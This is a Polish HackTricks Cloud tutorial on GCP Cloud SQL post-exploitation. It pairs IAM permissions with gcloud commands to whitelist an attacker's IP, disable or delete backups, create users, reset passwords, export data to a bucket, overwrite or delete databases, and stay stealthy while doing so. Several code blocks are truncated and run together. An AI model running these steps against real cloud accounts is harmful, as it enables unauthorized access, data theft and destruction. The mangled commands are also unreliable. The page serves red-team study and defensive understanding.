GCP - Cloud SQL Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Cloud SQL
Aby uzyskać więcej informacji o Cloud SQL sprawdź:
cloudsql.instances.update, ( cloudsql.instances.get)
Aby połączyć się z bazami danych wystarczy mieć dostęp do portu bazy danych oraz znać username i password, nie ma żadnych wymagań związanych z IAM. Zatem prosty sposób uzyskania dostępu, zakładając że baza ma publiczny adres IP, to zaktualizować dozwolone sieci i dodać swój adres IP, aby uzyskać do niej dostęp.
Zezwól na swój adres IP i połącz się z bazą danych
```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quietmysql -h <ip_db> # If mysql
With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql –user=root –quiet
</details>
Można też użyć **`--no-backup`**, aby **zakłócić tworzenie kopii zapasowych** bazy danych.
Ponieważ to są wymagania, nie jestem do końca pewien, do czego służą uprawnienia **`cloudsql.instances.connect`** i **`cloudsql.instances.login`**. Jeśli wiesz, wyślij PR!
### `cloudsql.users.list`
Uzyskaj **listę wszystkich użytkowników** bazy danych:
<details>
<summary>Lista użytkowników bazy danych</summary>
```bash
gcloud sql users list --instance <intance-name>
cloudsql.users.create
To uprawnienie pozwala utworzyć nowego użytkownika wewnątrz bazy danych:
Utwórz użytkownika bazy danych
```bash gcloud sql users createcloudsql.users.update
To uprawnienie pozwala modyfikować użytkownika w bazie danych. Na przykład możesz zmienić jego hasło:
Zaktualizuj hasło użytkownika
```bash gcloud sql users set-passwordcloudsql.instances.restoreBackup, cloudsql.backupRuns.get
Kopie zapasowe mogą zawierać stare wrażliwe informacje, więc warto je sprawdzić.
Przywróć kopię zapasową w obrębie bazy danych:
Przywróć kopię zapasową bazy danych
```bash gcloud sql backups restoreAby zrobić to bardziej dyskretnie, zaleca się utworzyć nową instancję SQL i odzyskać tam dane zamiast w aktualnie działających bazach danych.
cloudsql.backupRuns.delete
To uprawnienie pozwala usuwać kopie zapasowe:
Usuń kopię zapasową
```bash gcloud sql backups deletecloudsql.instances.export, storage.objects.create
Eksportuj bazę danych do Cloud Storage Bucket, aby móc uzyskać do niej dostęp:
Eksport bazy danych do Cloud Storage Bucket
```bash # Export sql format, it could also be csv and bak gcloud sql export sqlcloudsql.instances.import, storage.objects.get
Import bazy danych (nadpisanie) z Cloud Storage Bucket:
Import bazy danych z bucketu
```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sqlcloudsql.databases.delete
Usuń bazę danych z instancji DB:
Usuń bazę danych
```bash gcloud sql databases deleteTip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

